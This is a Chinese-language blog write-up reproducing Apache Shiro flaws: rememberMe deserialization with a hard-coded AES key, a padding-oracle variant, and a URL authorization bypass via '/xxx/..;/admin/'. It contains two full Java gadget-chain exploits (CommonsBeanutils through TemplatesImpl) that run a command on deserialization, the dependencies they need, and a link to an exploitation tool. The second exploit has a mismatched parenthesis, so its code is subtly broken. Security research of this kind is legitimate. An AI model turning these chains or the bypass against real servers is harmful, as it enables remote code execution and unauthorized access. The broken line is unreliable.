Last updated on September 27, 2024 am
对shiro反序列化做一个复现
CVE-2016-4437(Shiro-550)
影响版本
Apache Shiro<=1.2.4
漏洞原理
Apacha shiro 提供了remember的功能,当用户登录并选择remember时下次登录就是通过cookie进行认证。
shiro的认证机制是将接收到的cookie 进行base64解码,然后通过AES解码,最后进行反序列化。
而在Apache Shiro<=1.2.4,AES的加解密密钥是硬编码在代码中,如果攻击者通过泄露或者爆破得到密钥,则可以伪造Remember的值。也就是先构造能够触发命令执行的序列化,然后AES加密,base64编码得到remember,然后以remember=这个值去访问服务端就会触发反序列化漏洞。
比如打CC链,需要有引入CommonsCollections组件
CVE-2019-12422(Shiro-721)
影响版本
1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1
漏洞原理
相较于Shiro-550,Shiro-721的AES加密是AES-CBC,key是系统动态生成的,所以是猜不到的。
Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。(需要提供一个正常用户Cookie中的remember值)
上面两个CVE的利用工具
GitHub - feihong-cs/ShiroExploit-Deprecated: Shiro550/Shiro721 一键化利用工具,支持多种回显方式
CVE-2020-1957
影响版本
Apache Shiro < 1.5.1
漏洞原理
这个是一个鉴权漏洞。
Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。
POC
构造恶意请求/xxx/..;/admin/
,即可绕过权限校验,访问到管理页面。
commons-collections+common-beanutils链利用
利用链
1
| PriorityQueue::readObject->PriorityQueue::heapify->PriorityQueue::siftDown->PriorityQueue::siftDownUsingComparator->BeanComparator::compare->PropertyUtils::getProperty->PropertyUtilsBean::getProperty->PropertyUtilsBean::->getSimpleProperty->TemplatesImpl链
|
分析
无参实例化时,会使用this()
关键字用于调用当前类的另一个构造函数,所以会调用BeanComparator(String property)
BeanComparator(String property)
中使用了ComparableComparator
。使用ComparableComparator
需要引入commons-collections
。
在BeanComparator::compare
,
调用了PropertyUtils.getProperty
参数可控,
调用了PropertyUtilsBean.getProperty
,然后调用getNestedProperty
,再调用getSimpleProperty
可以设置要调用的getter方法,这里设置为调用TemplatesImpl
的getOutputProperties
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| package com.example.demo;
import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); Object value = field.get(obj); return value;
} public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Calc" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(); PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator); priorityQueue.add(1); priorityQueue.add(1); setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser")); outputStream.writeObject(priorityQueue); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser")); inputStream.readObject(); inputStream.close(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency>
|
CommonsBeanutils链利用
CB链不需要依赖其他组件,shiro自身带了CommonsBeanutils组件,自身就可以完成利用。
分析
由于ComparableComparator
是commons-collections
中的,所以要不想依赖CC就不能用到commons-collections
在BeanComparator
的构造函数中,可以通过传递两个参数(String,Comparator)来避免使用commons-collections
p神已经找到了可以传的Comparator
:String.CASE_INSENSITIVE_ORDER
,所以构造时用
1
| BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
|
而PriorityQueue::add
当添加第二个时会调用到String.CASE_INSENSITIVE_ORDER
的compare
1
| public int compare(String s1, String s2)
|
参数要求是String,所以add的时候要改成String类型。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package com.example.demo;
import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); Object value = field.get(obj); return value;
} public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Calc" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null,(String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator); priorityQueue.add("1"); priorityQueue.add("1"); setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser")); outputStream.writeObject(priorityQueue); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser")); inputStream.readObject(); inputStream.close(); } }
|
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.2.4</version> </dependency>
|
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html